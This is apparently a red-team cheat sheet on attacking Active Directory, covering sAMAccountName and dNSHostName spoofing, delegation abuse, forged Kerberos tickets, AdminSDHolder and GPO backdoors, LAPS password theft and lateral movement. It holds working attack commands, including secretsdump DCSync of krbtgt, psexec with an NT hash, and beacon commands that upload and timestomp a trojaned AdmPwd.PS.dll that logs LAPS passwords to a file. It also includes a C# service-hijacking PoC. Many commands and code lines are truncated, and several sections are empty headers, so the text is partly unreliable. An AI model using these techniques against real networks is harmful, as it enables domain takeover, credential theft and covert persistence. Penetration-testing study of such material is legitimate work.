sAMAccountName Spoofing
CVE-2021-42278, CVE-2021-42287
https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html
https://exploit.ph/more-samaccountname-impersonation.html
https://www.thehacker.recipes/ad/movement/kerberos/samaccountname-spoofing
https://cloudbrothers.info/en/exploit-kerberos-samaccountname-spoofing/
https://github.com/cube0x0/noPac
https://gist.github.com/S3cur3Th1sSh1t/0ed2fb0b5ae485b68cbc50e89581baa6
https://github.com/Ridter/noPac
Check
Windows
Look at the size of the returned TGT. If the DC is not vulnerable, the TGT will contain the PAC
part and be obviously larger:
Linux
Exploit
Windows
Linux
https://gist.github.com/snovvcrash/3bf1a771ea6b376d374facffa9e43383
Using noPac:
https://github.com/Ridter/noPac
dNSHostName Spoofing
CVE-2022-26923
Abuse RBCD
https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/
https://chryzsh.github.io/relaying-delegation/
https://www.exploit-db.com/docs/48282
https://gist.github.com/gladiatx0r/1ffe59031d42c08603a3bde0ff678feb
https://gist.github.com/zimnyaa/dcac97f3106e96053a1acb6ca9974e55
https://pentestlab.blog/2021/10/18/resource-based-constrained-delegation/
https://github.com/med0x2e/NTLMRelay2Self
Unconstrained
https://adsecurity.org/?p=1667
Enumerate:
Use ticket_converter or ticketConverter.py to convert the TGT from .kirbi to .ccache (usable with
impacket):
"Relaying" Kerberos
https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/
Requirements:
Permissions to add an SPN for the owned computer account and a new DNS record in AD.
1. Grab owned computer account password to calculate its Kerberos AES key. This is done automatically
when extracting the password remotely with secretsdump.py , or it will be done later by
krbrelayx.py when providing it the password in hex from local secretsdump.py output:
# Remotely
$ secretsdump.py MEGACORP/snovvcrash:'Passw0rd!'@SRV01.megacorp.local -ts
...
MEGACORP\SRV01$:aes256-cts-hmac-sha1-96:00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00
# Locally
Cmd > reg.exe save hklm\system system.hive
Cmd > reg.exe save hklm\security security.hive
$ secretsdump.py -system system.hive -security security.hive LOCAL
...
[*] $MACHINE.ACC
$MACHINE.ACC:plain_password_hex:<PLAIN_PASSWORD_HEX>
2. Add a malicious SPN for the owned computer account with unconstrained delegation:
Name: evil.megacorp.local
Address: 10.10.13.37
5. Start krbrelayx.py providing AES key of the owned computer account or its plain password in hex
with salt:
6. Coerce the authentication to attacker's host from DC01 by triggering printer bug:
7. Export extracted TGT and perform DCSync to get krbtgt hash (or any other privileged account hash):
$ export KRB5CCNAME=`pwd`/'[email protected][email protected]'
$ secretsdump.py DC01.megacorp.local -dc-ip <DC01_IP> -just-dc-user 'MEGACORP\krbtgt' -k -no-p
Other scenarios:
In this blogpost it is described how to perform the attack by abusing a service (user) account with
unconstrained delegation enabled.
In this blogpost it is described how to perform the attack from Windows by extracting TGT with Inveigh.
Discovery
PS > ([ADSI]"LDAP://megacorp.local").dc
PS > [System.DirectoryServices.ActiveDirectory.Domain]::GetComputerDomain().DomainControllers
https://github.com/PyroTek3/PowerShell-AD-Recon/blob/master/Discover-PSMSExchangeServers
https://github.com/PyroTek3/PowerShell-AD-Recon/blob/master/Discover-PSMSSQLServers
DC IPs
Ask _ldap._tcp.dc._msdcs :
Subnets
https://podalirius.net/en/articles/active-directory-sites-and-subnets-enumeration/
DnsAdmins
https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-
a0f779b8dc83
http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-
directory.html
https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-
system-to-domain-compromise
https://adsecurity.org/?p=4064
Exploit:
Cleanup:
Dominance
Silver Ticket
https://en.hackndo.com/kerberos-silver-golden-tickets/#silver-ticket
Rubeus
Impacket
Golden Ticket
https://en.hackndo.com/kerberos-silver-golden-tickets/#golden-ticket
https://artkond.com/2016/12/18/pivoting-kerberos/
Impacket
Diamond Ticket
https://www.semperis.com/blog/a-diamond-ticket-in-the-ruff/
AdminSDHolder Modification
https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-
and-backdoor-adminsdholder-to-obtain-domain-admin-persistence
https://attack.stealthbits.com/adminsdholder-modification-ad-persistence
https://pentestlab.blog/2022/01/04/domain-persistence-adminsdholder/
Create a Backdoor
Add a new domain user or grant an existent user GenericAll permissions for the AdminSDHolder
container:
Check that granting AdminSDHolder permissions was successful (may take 60+ minutes for the security
ACLs to get updated for that user):
AceType : AccessAllowed
ObjectDN : CN=AdminSDHolder,CN=System,DC=megacorp,DC=local
ActiveDirectoryRights : GenericAll
OpaqueLength : 0
ObjectSID :
InheritanceFlags : None
BinaryLength : 36
IsInherited : False
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-2284550090-1208917427-1204316795-9824
AccessMask : 983551
AuditFlags : None
AceFlags : None
AceQualifier : AccessAllowed
Now you can add yourself (the "snovvcrash" user) to the Domain Admins group any time and do stuff
(actually adding the user to Domain Admins every time is not necessary, as the AdminCount attribute will
stay 1 anyways after adding the backdoor user to a protected group for the first time):
AceType : AccessAllowed
ObjectDN : CN=Domain Admins,CN=Users,DC=megacorp,DC=local
ActiveDirectoryRights : GenericAll
OpaqueLength : 0
ObjectSID : S-1-5-21-2284550090-1208917427-1204316795-512
InheritanceFlags : None
BinaryLength : 36
IsInherited : False
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-2284550090-1208917427-1204316795-9824
AccessMask : 983551
AuditFlags : None
AceFlags : None
AceQualifier : AccessAllowed
admincount
----------
1
https://www.reddefenseglobal.com/blog/microsoft-domain-attack-techniques/admincount/
https://www.ucunleashed.com/1621
Clear the AdminCount attribute (will be resetted if the user is still in the AdminSDHolder container):
PV3 > Set-DomainObject -Identity snovvcrash -Domain megacorp.local -Clear admincount -Verbose
Or
PS > Get-ADUser snovvcrash | Set-ADObject -Clear admincount
https://stealthbits.com/blog/server-untrust-account/
When DA is owned (or any other account with DS-Install-Replica permission), you can create a fake
machine account (or use an existing real machine account), set SERVER_TRUST_ACCOUNT bit for it and
perform DCSync on behalf of this account to regain domain dominance.
3. Perform DCSync:
4. Cleanup:
https://skyblue.team/posts/delegate-krbtgt/
Windows
Linux
https://gist.github.com/snovvcrash/c8f8fa7721c40f4cca0c46c196066a41
GPO Abuse
Group Policy Objects
https://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/
https://wald0.com/?p=179
https://github.com/EvotecIT/GPOZaurr
Search for writable GPOs for the Domain Users security group:
Permissions Abuse
Recon
Note: if I list all OUs affected by this GPO with PowerView, there will be no domain shown (like in
BloodHound), but in Group Policy Manager we can see that it is presented.
Check if computer settings are enabled for this GPO (and enable them if not):
https://gist.github.com/snovvcrash/ecdc639b061fe787617d8d92d8549801
List users that can create a GPO and link it to a specific OU:
GPOImmediateTask
PowerView3.ps1 (New-GPOImmediateTask)
$ echo 'sc -path "c:\\windows\\temp\\poc.txt" -value "GPO Abuse PoC..."' | iconv -t UTF-16LE
cwBjACAALQBwAGEAdABoACAAIgBjADoAXAB3AGkAbgBkAG8AdwBzAFwAdABlAG0AcABcAHAAbwBjAC4AdAB4AHQAIgAgAC
PS > New-GPOImmediateTask -TaskName Pentest -GPODisplayName VULN.GPO.NAME -CommandArguments '-
Cleanup:
GPPrefRegistryValue
Check if GPMC is installed and if it's not, install it as a Windows Feature (requires elevation):
Create an evil GPO and link it to the target OU (will be visible in the management console):
Prepare your payload, put it to the network share and create an autorun value in the evil GPO to run the
payload on boot/logon:
PS > Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Soft
WMI Filters
https://rastamouse.me/ous-and-gpos-and-wmi-filters-oh-my/
Tools
SharpGPOAbuse
https://github.com/FSecureLABS/SharpGPOAbuse
pyGPOAbuse
https://github.com/Hackndo/pyGPOAbuse
Kerberos
https://www.roguelynn.com/words/explain-like-im-5-kerberos/
https://vbscrub.com/2020/05/13/kerberos-protocol-explained/
https://www.tarlogic.com/en/blog/how-kerberos-works/
https://www.tarlogic.com/en/blog/how-to-attack-kerberos/
https://www.tarlogic.com/en/blog/kerberos-iii-how-does-delegation-work/
https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a
https://habr.com/ru/company/tomhunter/blog/507140/
https://habr.com/ru/company/tomhunter/blog/509290/
Using faketime :
Kerberos on Linux
Check KRB5CCNAME environment variable contents:
$ kinit
$ klist
$ kvno MSSQLSvc/SRV01.megacorp.local:1433
$ klist
FreeIPA
Kerberos Relay
https://googleprojectzero.blogspot.com/2021/10/windows-exploitation-tricks-relaying.html
https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html
https://dirkjanm.io/relaying-kerberos-over-dns-with-krbrelayx-and-mitm6/
Tools
KrbRelay
https://github.com/cube0x0/KrbRelay
https://gist.github.com/tothi/bf6c59d6de5d0c9710f23dae5750c4b9
https://icyguider.github.io/2022/05/19/NoFix-LPE-Using-KrbRelay-With-Shadow-Credentials.html
KrbRelayUp
https://github.com/Dec0ne/KrbRelayUp
https://www.microsoft.com/security/blog/2022/05/25/detecting-and-preventing-privilege-escalation-
attacks-leveraging-kerberos-relaying-krbrelayup/
RELAY
Relay authentication to LDAP(S) with automatic machine creation and configure RBCD:
SPAWN
That makes GenericWrite on a user effectively equal to DCSync right on that user.
DSInternals
https://github.com/MichaelGrafnetter/DSInternals/blob/master/Documentation/PowerShell/Get-
ADKeyCredential.md
Whisker
https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-
8ee1a53566ab
https://github.com/eladshamir/Whisker
List all the values of the the msDS-KeyCredentialLink attribute of a target object:
Clear all the values of the the msDS-KeyCredentialLink attribute of a target object:
pywhisker
https://github.com/ShutdownRepo/pywhisker
LAPS
Local Administrator Password Solution
https://adsecurity.org/?p=1790
Enabled?
Check locally:
Check in LDAP:
Get Passwords
PowerShell
ActiveDirectory
Query LDAP for AD computer objects with their passwords and its expiration date:
Get-LAPSPasswords
https://www.netspi.com/blog/technical/network-penetration-testing/running-laps-around-cleartext-
passwords/
https://github.com/kfosaaen/Get-LAPSPasswords
LAPSToolkit
https://www.pentestgeek.com/penetration-testing/another-lap-around-microsoft-laps
https://github.com/leoloobeek/LAPSToolkit
Get passwords:
PS > Get-LAPSComputers
CrackMapExec
https://github.com/T3KX/Crackmapexec-LAPS
https://github.com/byt3bl33d3r/CrackMapExec/blob/master/cme/modules/laps.py
LAPSDumper
https://github.com/n00py/LAPSDumper
Persistence
Increase the expiration time of a compromised computer object's ms-mcs-admpwdexpirationtime
property value:
Backdoor
Recompile admpwd having added some evil code here:
PasswordInfo pi = DirectoryUtils.GetPasswordInfo(dn);
var line = $"{pi.ComputerName} : {pi.Password}";
System.IO.File.AppendAllText(@"C:\Temp\LAPS.txt", line);
WriteObject(pi);
Replace the original AdmPwd.PS.dll assembly with a newly generated one and fix the timestamp:
beacon> cd C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AdmPwd.PS
beacon> upload AdmPwd.PS.dll
beacon> timestomp AdmPwd.PS.dll AdmPwd.PS.psd1
beacon> ls
Lateral Movement
https://eventlogxp.com/blog/logon-type-what-does-it-mean/
https://www.infosecmatter.com/rce-on-windows-from-linux-part-1-impacket/
https://www.hackingarticles.in/remote-code-execution-using-impacket/
https://xakep.ru/2020/11/16/lateral-guide/
https://docs.microsoft.com/en-us/defender-for-identity/playbook-lateral-movement
https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-
them
https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/reference-tools-
logon-types
Overpass-the-Hash
Mimikatz
https://github.com/GhostPack/Rubeus#example-over-pass-the-hash
https://s3cur3th1ssh1t.github.io/Named-Pipe-PTH/
Create a new process with dummy creds (Logon type 9), open the LSASS process and patch it with the
supplied NT hash. This causes the normal Kerberos authentication process to kick off as normal as if the
user had normally logged on, turning the supplied hash into a fully-fledged TGT:
It also work for local accounts but for the reason that patching LSASS does not change the
security information or user information for this process, the new credentials in LSASS can
correctly be used only for network authentication and not for identifying the local user account
associated with the process. (paraphrased from here)
That's why for local accounts such options as net use \\localhost\c$ , WMI calls or
PsExec can be considered.
Rubeus
https://github.com/GhostPack/Rubeus
https://github.com/GhostPack/Rubeus#example-over-pass-the-hash
Create a sacrificial process (Logon type 9), legitimately ask Kerberos for TGT, import it and interact with the
process (need elevated context):
If operating Rubeus from a C2 agent, you can steal_token instead of using /show option.
Create a new process with dummy creds (Logon type 9) manually, then use Rubeus with user's NT hash to
ask for a TGT and import it:
A more opsec safe approach is to use AES key (KeyType 0x12) instead of RC4-HMAC (KeyType 0x17)
alongside with /opsec switch which instructs Rubeus not to do pre-auth (mimics standard Kerberos
behavior):
Pass-the-Hash
https://www.n00py.io/2020/12/alternative-ways-to-pass-the-hash-pth/
NamedPipePTH
https://s3cur3th1ssh1t.github.io/Named-Pipe-PTH/
https://github.com/S3cur3Th1sSh1t/NamedPipePTH
https://github.com/S3cur3Th1sSh1t/SharpNamedPipePTH
Impersonate a user with Pass-the-Hash for local actions (network authentication does not work with
Impersonation Token , only with Delegation Token ):
PtH Notes
https://offensivedefence.co.uk/posts/ntlm-auth-firefox/
HKLM\SOFTWARE\Microsoft\Windows\Cur
LocalAccountTokenFilterPolicy
rentVersion\Policies\System\
HKLM\SOFTWARE\Microsoft\Windows\Cur
FilterAdministratorToken
rentVersion\Policies\System\
If FilterAdministratorToken exists and is set to 1 (doesn't exist by default), builtin local admin
account (RID 500) is affected by UAC and PtH will fail:
Pass-the-Ticket
Rubeus
Show Kerberos tickets in all logon sessions if elevated (otherwise it will only show tickets in current logon
session):
Create a sacrificial process (Logon type 9) and import the TGT into its logon session:
You can also extract and reuse TGS tickets with this technique.
RDP
https://syfuhs.net/how-authentication-works-when-you-use-remote-desktop
https://posts.specterops.io/revisiting-remote-desktop-lateral-movement-8fb905cb46c3
Enable RDP
From meterpreter:
From PowerShell:
Restricted Admin
https://www.kali.org/penetration-testing/passing-hash-remote-desktop/
https://blog.ahasayen.com/restricted-admin-mode-for-rdp/
https://labs.f-secure.com/blog/undisable/
https://shellz.club/pass-the-hash-with-rdp-in-2019/
RDP with PtH: RDP needs a plaintext password unless Restricted Admin mode is enabled.
Use:
$ xfreerdp /pth
Cmd > mstsc.exe /restrictedAdmin
NLA
Disable NLA:
https://www.ired.team/offensive-security/lateral-movement/t1076-rdp-hijacking-for-lateral-movement
https://qtechbabble.wordpress.com/2017/04/07/use-quser-to-view-which-accounts-are-logged-
inremoted-in-to-a-computer/
Tools
https://github.com/SecureAuthCorp/impacket/blob/master/examples/tstool.py
https://github.com/netero1010/RDPHijack-BOF
Tools
SharpRDP
https://github.com/0xthirteen/SharpRDP
https://github.com/S3cur3Th1sSh1t/SharpRDP
SharpRDPHijack
https://github.com/bohops/SharpRDPHijack
RPC
https://sensepost.com/blog/2021/building-an-offensive-rpc-interface/
SCM
https://github.com/Mr-Un1k0d3r/SCShell
https://github.com/juliourena/SharpNoPSExec
https://github.com/chvancooten/OSEP-Code-
Snippets/blob/main/Fileless%20Lateral%20Movement/Program.cs
Custom PoC:
SharpSCExec.cs
using System;
using System.Runtime.InteropServices;
namespace SharpSCExec
{
class Program
{
[DllImport("advapi32.dll", SetLastError = true, BestFitMapping = false, ThrowOnUnmappa
[return: MarshalAs(UnmanagedType.Bool)]
internal static extern bool LogonUser([MarshalAs(UnmanagedType.LPStr)] string lpszUser
[DllImport("kernel32.dll")]
public static extern uint GetLastError();
[StructLayout(LayoutKind.Sequential)]
public class QueryServiceConfigStruct
{
[MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]
public UInt32 dwServiceType;
[MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]
public UInt32 dwStartType;
[MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]
public UInt32 dwErrorControl;
[MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]
public String lpBinaryPathName;
[MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]
public String lpLoadOrderGroup;
[MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]
public UInt32 dwTagID;
[MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]
public String lpDependencies;
[MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]
public String lpServiceStartName;
[MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]
public String lpDisplayName;
};
if (args.Length < 3)
{
Console.WriteLine("Usage: SharpSCExec.exe <TARGET> <SERVICE> <PAYLOAD>");
Console.WriteLine("Example: SharpSCExec.exe SRV01 SensorService \"cmd.exe /c p
return;
}
if (args.Length > 3)
{
string domain = args[3];
string username = args[4];
string password = args[5];
IntPtr hToken = IntPtr.Zero;
if (!LogonUser(username, domain, password, 0x9, 0, out hToken))
{
Console.WriteLine($"[-] LogonUser failed: {GetLastError()}");
Environment.Exit(0);
}
if (!ImpersonateLoggedOnUser(hToken))
{
Console.WriteLine($"[-] ImpersonateLoggedOnUser failed: {GetLastError()}")
Environment.Exit(0);
}
}
UInt32 bytesNeeded;
bool res = QueryServiceConfig(hService, IntPtr.Zero, 0, out bytesNeeded);
IntPtr ptr = Marshal.AllocHGlobal((int)bytesNeeded);
res = QueryServiceConfig(hService, ptr, bytesNeeded, out bytesNeeded);
QueryServiceConfigStruct qsc = new QueryServiceConfigStruct();
Marshal.PtrToStructure(ptr, qsc);
string origBinaryPath = qsc.lpBinaryPathName;
Console.WriteLine($"[*] Extracted original service binary: \"{origBinaryPath}\"")
res = ChangeServiceConfigA(
hService,
0xffffffff, // SERVICE_NO_CHANGE
0x3, // SERVICE_DEMAND_START
0, // SERVICE_NO_CHANGE
payload,
null,
null,
null,
null,
null,
null);
if (res)
{
Console.WriteLine("[+] Service binary changed successfully!");
}
else
{
Console.WriteLine($"[-] Failed changing service binary: {GetLastError()}");
}
res = ChangeServiceConfigA(
hService,
0xffffffff, // SERVICE_NO_CHANGE
0x3, // SERVICE_DEMAND_START
0, // SERVICE_NO_CHANGE
origBinaryPath,
null,
null,
null,
null,
null,
null);
if (res)
{
Console.WriteLine("[+] Original service binary restored successfully!");
}
else
{
Console.WriteLine($"[-] Failed restoring original service binary: {GetLastErro
}
}
}
}
RunAs
Cmd
runas.exe
PowerShell
Process.Start
Start-Process
Invoke-Command
With -Credential :
With -Session :
https://github.com/BC-SECURITY/Empire/blob/master/data/module_source/management/Invoke-
RunAs.ps1
PS > Invoke-RunAs -UserName snovvcrash -Password 'Passw0rd!' -Domain MEGACORP -Cmd cmd.exe -Ar
Invoke-CommandAs
https://github.com/mkellerman/Invoke-CommandAs/blob/master/Invoke-CommandAs/Private/Invoke-
ScheduledTask.ps1
https://github.com/mkellerman/Invoke-CommandAs/blob/master/Invoke-CommandAs/Public/Invoke-
CommandAs.ps1
https://malicious.link/post/2020/run-as-system-using-evil-winrm/
PS > . .\Invoke-ScheduledTask.ps1
PS > . .\Invoke-CommandAs.ps1
PS > Invoke-CommandAs -ScriptBlock {whoami} -AsUser $cred
RunasCs
https://github.com/antonioCoco/RunasCs/blob/master/Invoke-RunasCs.ps1
SMB
PsExec
https://www.contextis.com/us/blog/lateral-movement-a-deep-look-into-psexec
https://blog.openthreatresearch.com/ntobjectmanager_rpc_smb_scm
psexec.py
$ psexec.py snovvcrash:'Passw0rd!'@192.168.11.1
$ rlwrap -cAr psexec.py -hashes :fc525c9683e8fe067095ba2ddc971889 megacorp.local/snovvcrash@19
SPN-jacking
WinRM / PSRemoting
Windows Remote Management
https://www.bloggingforlogging.com/2018/01/24/demystifying-winrm/
https://www.powershellmagazine.com/2014/03/06/accidental-sabotage-beware-of-credssp/
https://www.ired.team/offensive-security/credential-access-and-credential-dumping/network-vs-
interactive-logons
https://book.hacktricks.xyz/pentesting/5985-5986-pentesting-winrm
Enable WinRM
Using PowerShell (takes ~1m to be applied):
From Windows
https://0xdf.gitlab.io/2019/08/17/htb-helpline-win.html#enable-winrm
Evil-WinRM
https://github.com/Hackplayers/evil-winrm
Basic syntax:
Always use full username when authenticating as a domain user, because if there're 2 users
sharing the same name (a local user and a domain user), say WORKGROUP\Administrator
and MEGACORP\Administrator , and you're trying to authenticate as a domain admin without
providing the domain prefix, authentication will fail.
pwsh
$ pwsh
PS > $sess = New-PSSession -ComputerName 192.168.11.1 -Credential $cred -Authentication Negoti
PS > Enter-PSSession -Session $sess
WMI
https://www.ethicalhacker.net/features/root/wmi-101-for-pentesters/
https://hideandsec.sh/books/cheatsheets-82c/page/wmi
PowerShell
Basic command to check if we have privileges to execute WMI:
PS > Get-WmiObject -Credential $cred -ComputerName PC01 -Namespace "root" -class "__Namespace"
Execute commands:
PS > Invoke-WmiMethod -Credential $cred -ComputerName PC01 win32_process -Name Create -Argumen
PS > Invoke-WmiMethod -Credential $cred -ComputerName PC01 win32_process -Name Create -Argumen
WMI Enumeration
https://0xinfection.github.io/posts/wmi-basics-part-1/
https://0xinfection.github.io/posts/wmi-classes-methods-part-2/
https://0xinfection.github.io/posts/wmi-registry-part-3/
https://0xinfection.github.io/posts/wmi-recon-enum/
Invoke-LocalWMIEnum.ps1
Get-WmiObject -Class Win32_ComputerSystem | select BootupState,UserName,TotalPhysicalMemory,Sy
Get-WmiObject -Class Win32_OperatingSystem | fl *
Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct | select PSComputerName
Get-WmiObject Win32_Service | select Name,State,StartName,PathName | ? {$_.State -like "Runnin
Get-WmiObject -Class Win32_LoggedOnUser | select Antecedent,Dependent,PSComputerName | ft -Aut
Get-WmiObject -Class Win32_LogonSession | select AuthenticationPackage,LogonID,StartTime,Scope
Get-WmiObject -Class Win32_QuickFixEngineering | select PSComputerName,Description,HotFixID,In
Get-WmiObject -Class Win32_Share | select Type,Name,AllowMaximum,Description,Scope | ft -AutoS
Get-WmiObject -Class Win32_IP4RouteTable | select PSComputerName,Caption,Mask,Metric1,Protocol
Get-WmiObject -Class Win32_UserAccount | ft -AutoSize
Get-WmiObject -Class Win32_Group | ft -AutoSize
wmiexec.py
When loading the cradle from a semi-interactive shell, you can combine with Invoke-WmiMethod to
spawn a new PowerShell process:
SharpWMI
https://github.com/GhostPack/SharpWMI
LDAP
Lightweight Directory Access Protocol
http://jxplorer.org/
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-
2003/cc772839(v=ws.10)?redirectedfrom=MSDN
http://www.kouti.com/tables/userattributes.htm
Theory
Some Extensible Match Matching Rules:
UserAccountControl
https://jackstromberg.com/2013/01/useraccountcontrol-attributeflag-values/
http://woshub.com/decoding-ad-useraccountcontrol-value/
DecodeUserAccountControl.ps1
# Usage: DecodeUserAccountControl <UAC_VALUE>
Function DecodeUserAccountControl ([int]$UAC)
{
$UACPropertyFlags = @(
"SCRIPT",
"ACCOUNTDISABLE",
"RESERVED",
"HOMEDIR_REQUIRED",
"LOCKOUT",
"PASSWD_NOTREQD",
"PASSWD_CANT_CHANGE",
"ENCRYPTED_TEXT_PWD_ALLOWED",
"TEMP_DUPLICATE_ACCOUNT",
"NORMAL_ACCOUNT",
"RESERVED",
"INTERDOMAIN_TRUST_ACCOUNT",
"WORKSTATION_TRUST_ACCOUNT",
"SERVER_TRUST_ACCOUNT",
"RESERVED",
"RESERVED",
"DONT_EXPIRE_PASSWORD",
"MNS_LOGON_ACCOUNT",
"SMARTCARD_REQUIRED",
"TRUSTED_FOR_DELEGATION",
"NOT_DELEGATED",
"USE_DES_KEY_ONLY",
"DONT_REQ_PREAUTH",
"PASSWORD_EXPIRED",
"TRUSTED_TO_AUTH_FOR_DELEGATION",
"RESERVED",
"PARTIAL_SECRETS_ACCOUNT"
"RESERVED"
"RESERVED"
"RESERVED"
"RESERVED"
"RESERVED"
)
$Attributes = ""
1..($UACPropertyFlags.Length) | Where-Object {$UAC -bAnd [math]::Pow(2,$_)} | ForEach-
Return $Attributes
}
Mitigations
https://github.com/zyn3rgy/LdapRelayScan
https://offsec.almond.consulting/bypassing-ldap-channel-binding-with-starttls.html
HKLM\System\CurrentControlSet\Servi
LdapServerIntegrity
